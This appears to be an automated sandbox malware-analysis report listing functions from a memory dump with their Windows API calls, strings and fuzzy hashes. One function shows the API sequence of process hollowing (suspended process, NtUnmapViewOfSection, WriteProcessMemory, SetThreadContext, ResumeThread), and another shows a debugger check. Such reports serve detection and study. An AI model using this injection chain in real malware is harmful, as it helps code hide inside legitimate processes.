Sleep.KERNEL32(0000EA60), ref: 012DE926

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0f589b9a4f9b587be1d895fc2bd48a4445ada686c2f18bed0d630ac14a9b7b3b
Instruction ID: baec522aae41aa342bd1834107a0efbf8908490f0add6673feb32c2e76bca3cf
Opcode Fuzzy Hash: 0f589b9a4f9b587be1d895fc2bd48a4445ada686c2f18bed0d630ac14a9b7b3b
Instruction Fuzzy Hash: 00E0C25AF6001123451172BDDD3B47E39504B725A0B8C09CCEC422B3C9FD02092603D7

Uniqueness

Uniqueness Score: -1.00%

Function 012DE830, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000EA60), ref: 012DE87B

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b60199c79f2dc660216e0895f343e635fc1ef06515cb1823253f0c064c7760d9
Instruction ID: c654036405195562c3bab848bb2d4f21578e45d98ebcbb294ca1a5c5ad700989
Opcode Fuzzy Hash: b60199c79f2dc660216e0895f343e635fc1ef06515cb1823253f0c064c7760d9
Instruction Fuzzy Hash: 7DE0C21AF6001123851232BECD3B53E39625BB3460B8D058CCC822B3C6FD42091603D7

Uniqueness

Uniqueness Score: -1.00%

Function 012DE880, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000EA60), ref: 012DE8CB

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1fc90edff0150e79f2f10d463aaf26ce693d25f19d84c410066287f8ab344bef
Instruction ID: 1ed0503bc111717d80e649b8fbbe37e4d5a34912bac879c969b5fc2179ddbe9d
Opcode Fuzzy Hash: 1fc90edff0150e79f2f10d463aaf26ce693d25f19d84c410066287f8ab344bef
Instruction Fuzzy Hash: A0E08C59B20411234516327EDD3743D39615AB3460B89058CCC422B3C6FE42091603D7

Uniqueness

Uniqueness Score: -1.00%

Function 012DE8D0, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000EA60), ref: 012DE91B

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 37b209a06a2b1735a50846be995c0f7d236d39afa181489cc067bc6b13a77b4e
Instruction ID: 60c51021cc979c2c4a7b841571f256ca63dd9a1d652e4cbb2024e82646da4ff4
Opcode Fuzzy Hash: 37b209a06a2b1735a50846be995c0f7d236d39afa181489cc067bc6b13a77b4e
Instruction Fuzzy Hash: E2E08C19B2001123491132BECD3793D39615AB2460B8D059CC8422B3C6FD42091603D7

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 012D1EF0, Relevance: 30.2, APIs: 15, Strings: 2, Instructions: 428injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 012D222C
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 012D2285
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 012D229E
GetThreadContext.KERNEL32(?,00000000), ref: 012D22B3
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 012D22D6
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 012D22EE
GetProcAddress.KERNEL32(00000000), ref: 012D22F5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 012D2314
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 012D232F
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 012D236C
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 012D239C
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 012D23B2
ResumeThread.KERNEL32(?,?,?,00000000), ref: 012D23BB
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000), ref: 012D23C9

Strings

NtUnmapViewOfSection, xrefs: 012D22E4
ntdll.dll, xrefs: 012D22E9

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$Memory$ThreadVirtualWrite$AllocContextModule$AddressCreateFileFreeHandleNameProcReadResume
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 4232606500-1050664331
Opcode ID: 768370922fc4446db1ac4bcad0822a7571a50489ca05c8ee898ef62a08bdbc9b
Instruction ID: b27c765c01e93e5231147ba4588668ba38a4ee46dfabef03c8bb1f833b371502
Opcode Fuzzy Hash: 768370922fc4446db1ac4bcad0822a7571a50489ca05c8ee898ef62a08bdbc9b
Instruction Fuzzy Hash: E3E1CF32A10209EBEB25CFA8DC88BEDBBB9FF59310F544168E605E7681D770E585CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012E4F83, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 012E507B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 012E5085
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 012E5092

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: fed178057566bdfc1cce8f831b87a582bbba6c6617ab366e1efdb8ea593d60f5
Instruction ID: 62ba8bc853fffee1342acba4435c6bc819831362fdb3d15cc7223473a6f29f9d
Opcode Fuzzy Hash: fed178057566bdfc1cce8f831b87a582bbba6c6617ab366e1efdb8ea593d60f5
Instruction Fuzzy Hash: 8E31C2749112299BCF21DF68D88879DBBF8BF18350F5042EAE51CA7291E7709B858F44

Uniqueness

Uniqueness Score: -1.00%

Function 012E26A1, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,012E26A0,012D3D40,74786490,?,012D3D40,?,012E923E), ref: 012E26C3
TerminateProcess.KERNEL32(00000000,?,012E26A0,012D3D40,74786490,?,012D3D40,?,012E923E), ref: 012E26CA
ExitProcess.KERNEL32 ref: 012E26DC

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 503d2e2a3cc2b717f98f56b13d120dab31e858f98a643e49535c8098c2998aa4
Instruction ID: d178b4d4709c96f3b6c3aadde241009795868c8bcd220c71001a992daefbe0a8
Opcode Fuzzy Hash: 503d2e2a3cc2b717f98f56b13d120dab31e858f98a643e49535c8098c2998aa4
Instruction Fuzzy Hash: 53E0B631050109EFCF226F59ED1CA6A7BA9EB51351F840628FA468A121CB75E991DF84

Uniqueness

Uniqueness Score: -1.00%

Function 012D3180, Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d60f00bdb19748b84ae1e8cb39b6862fa81ae8f781093e0f7100e8040f19d914
Instruction ID: 090baff22487f9b89c904b52a252e700d019503db9ca7ab6e4914b83d4bce073
Opcode Fuzzy Hash: d60f00bdb19748b84ae1e8cb39b6862fa81ae8f781093e0f7100e8040f19d914
Instruction Fuzzy Hash: 47224FB7F515144BDB0CCA9DDCA27EDB2E3AFD8318B0E803DA40AE3345EA79D9158644

Uniqueness

Uniqueness Score: -1.00%

Function 012F4D50, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6e2693b708debaa17a3f39c1ded918aa7f780b2a48aa9767bb167ca46f6f7a0a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: C0115B7B2210C343F254A62DC4B46B7FF99EBC5224F2C437ED3418B7C9C2A2E0459500

Uniqueness

Uniqueness Score: -1.00%

Function 012E6432, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591bd7156f51cb321b8d4752518cd4712fae8324a95c21c7b004677540a78980
Instruction ID: f59b0fb38800808c687e7ced7847cd9d23c9cc66fed650458d1af83aec87c3ca
Opcode Fuzzy Hash: 591bd7156f51cb321b8d4752518cd4712fae8324a95c21c7b004677540a78980
Instruction Fuzzy Hash: 36E08C72921228EBCB24DB8CC90899AF7ECEB49A10F910096B601D3140C270DE00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 012ED00D, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 012ED051

Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECC07
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECC19
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECC2B
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECC3D
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECC4F
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECC61
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECC73
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECC85
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECC97
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECCA9
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECCBB
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECCCD
Part of subcall function 012ECBEA: _free.LIBCMT ref: 012ECCDF

_free.LIBCMT ref: 012ED046

Part of subcall function 012E6AE1: HeapFree.KERNEL32(00000000,00000000,?,012E4C5F,?,?,?,012E0E04,00000000,?,E8013020,012DE84C,?,012D1C73,?,?), ref: 012E6AF7
Part of subcall function 012E6AE1: GetLastError.KERNEL32(00000000,?,012E4C5F,?,?,?,012E0E04,00000000,?,E8013020,012DE84C,?,012D1C73,?,?), ref: 012E6B09

_free.LIBCMT ref: 012ED068
_free.LIBCMT ref: 012ED07D
_free.LIBCMT ref: 012ED088
_free.LIBCMT ref: 012ED0AA
_free.LIBCMT ref: 012ED0BD
_free.LIBCMT ref: 012ED0CB
_free.LIBCMT ref: 012ED0D6
_free.LIBCMT ref: 012ED10E
_free.LIBCMT ref: 012ED115
_free.LIBCMT ref: 012ED132
_free.LIBCMT ref: 012ED14A

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: dcba3e58ccea96d37d59ded37565e12e6d472169e4cf2b2ac413882059487555
Instruction ID: d257bae12c8b63fb23e328fd67cecf24ba372eaf157c2c868e990459217ba4b4
Opcode Fuzzy Hash: dcba3e58ccea96d37d59ded37565e12e6d472169e4cf2b2ac413882059487555
Instruction Fuzzy Hash: FD31657165030B9FEB31AAB9D84CB6B7BE5AF10350F944419E685DB251DF31E881C721

Uniqueness

Uniqueness Score: -1.00%

Function 012E0F20, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 012E0F57
___except_validate_context_record.LIBVCRUNTIME ref: 012E0F5F
_ValidateLocalCookies.LIBCMT ref: 012E0FE8
__IsNonwritableInCurrentImage.LIBCMT ref: 012E1013
_ValidateLocalCookies.LIBCMT ref: 012E1068

Strings

csm, xrefs: 012E0FFD
csm, xrefs: 012E1091

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: 8abd0760c16bebd4d7cdba3f680c6d0386b3bc9de9fdbd4b2ba633693956b551
Instruction ID: 63b5af08b22fb1a0c12311129b1caff236a4a60a274a8c56cdd3d3a29acf6e1b
Opcode Fuzzy Hash: 8abd0760c16bebd4d7cdba3f680c6d0386b3bc9de9fdbd4b2ba633693956b551
Instruction Fuzzy Hash: 2451B434B202469FCF14DF5CD848AAEBFE5EF44324F588169EA055B391D771DA12CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012E768E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

ext-ms-, xrefs: 012E76F9
api-ms-, xrefs: 012E76E5

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: af41a649f9ae893d3d1968731dabc17fcd5eaa4715d86bf268c1e3373b4cf898
Instruction ID: dc3531cca979ca1faa0f89c89cd16e4fe6d15b24aa1b14e6da1ddf028d2005ce
Opcode Fuzzy Hash: af41a649f9ae893d3d1968731dabc17fcd5eaa4715d86bf268c1e3373b4cf898
Instruction Fuzzy Hash: A021EB71AE1222BBDB368A2C9C8DA6A77D89F117B4F950524FF05A7285E770DD00C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 012ECD89, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 012ECD51: _free.LIBCMT ref: 012ECD76

_free.LIBCMT ref: 012ECDD7

Part of subcall function 012E6AE1: HeapFree.KERNEL32(00000000,00000000,?,012E4C5F,?,?,?,012E0E04,00000000,?,E8013020,012DE84C,?,012D1C73,?,?), ref: 012E6AF7
Part of subcall function 012E6AE1: GetLastError.KERNEL32(00000000,?,012E4C5F,?,?,?,012E0E04,00000000,?,E8013020,012DE84C,?,012D1C73,?,?), ref: 012E6B09

_free.LIBCMT ref: 012ECDE2
_free.LIBCMT ref: 012ECDED
_free.LIBCMT ref: 012ECE41
_free.LIBCMT ref: 012ECE4C
_free.LIBCMT ref: 012ECE57
_free.LIBCMT ref: 012ECE62

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0fbcb49050ce11dcfb6e5c0c667bb6005878ef6b4cef3880ba9d3cff05b44e3f
Instruction ID: 872af31a3180cb0b6cd274a092e37e429f226c495fce59d2fc519994b98e5f86
Opcode Fuzzy Hash: 0fbcb49050ce11dcfb6e5c0c667bb6005878ef6b4cef3880ba9d3cff05b44e3f
Instruction Fuzzy Hash: 01117F719A0B05EBDA20B7F0CC4DFEB7FDDAF20700FC04814B29966160DA66F9644691

Uniqueness

Uniqueness Score: -1.00%

Function 012E8939, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,012D3D40,00000000), ref: 012E8981
__fassign.LIBCMT ref: 012E8B60
__fassign.LIBCMT ref: 012E8B7D
WriteFile.KERNEL32(?,012D3D40,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 012E8BC5
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 012E8C05
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 012E8CB1

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 37d7de11cf5e65c84c93e3d94ad569ea9571b7c3c6dd518b298d932ed02cb3f5
Instruction ID: 8c4700eb53b3a6bc61d278ebee1431d42bf4d16f793aec61b999c45a90345aaf
Opcode Fuzzy Hash: 37d7de11cf5e65c84c93e3d94ad569ea9571b7c3c6dd518b298d932ed02cb3f5
Instruction Fuzzy Hash: 7FD1DAB1D112499FCF15CFA8C8989EDBBF5BF49310F68016AE995FB341D630AA42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012E26E3, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,012E26D8,?,?,012E26A0,012D3D40,74786490,?), ref: 012E26F8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 012E270B
FreeLibrary.KERNEL32(00000000,?,?,012E26D8,?,?,012E26A0,012D3D40,74786490,?), ref: 012E272E

Strings

mscoree.dll, xrefs: 012E26F1
CorExitProcess, xrefs: 012E2703

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603959364.0000000001301000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603971193.0000000001304000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.604036741.000000000132D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.604053445.0000000001333000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.605631476.0000000001997000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 75a8b787963de513142b6ecafba9241fe7453d5b8d9e37cc0c3736a634304ae4
Instruction ID: 3db8cf730ed59bfd75c4d7c22b8e2645549f2dd55c66a658c75587a177804734
Opcode Fuzzy Hash: 75a8b787963de513142b6ecafba9241fe7453d5b8d9e37cc0c3736a634304ae4
Instruction Fuzzy Hash: D6F08C31661219FBEB2A9B55E90DB9EFEB9EB047A5F50007CE705A1150DB708A04DB90

Uniqueness

Uniqueness Score: -1.00%

Function 012ECCE8, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 012ECD00

Part of subcall function 012E6AE1: HeapFree.KERNEL32(00000000,00000000,?,012E4C5F,?,?,?,012E0E04,00000000,?,E8013020,012DE84C,?,012D1C73,?,?), ref: 012E6AF7
Part of subcall function 012E6AE1: GetLastError.KERNEL32(00000000,?,012E4C5F,?,?,?,012E0E04,00000000,?,E8013020,012DE84C,?,012D1C73,?,?), ref: 012E6B09

_free.LIBCMT ref: 012ECD12
_free.LIBCMT ref: 012ECD24
_free.LIBCMT ref: 012ECD36
_free.LIBCMT ref: 012ECD48

Memory Dump Source

Source File: 00000002.00000002.603889390.00000000012D1000.00000020.00020000.sdmp, Offset: 012D0000, based on PE: true

Associated: 00000002.00000002.603864270.00000000012D0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.603924805.00000000012F8000.00000002.00020000.sdmp Download File
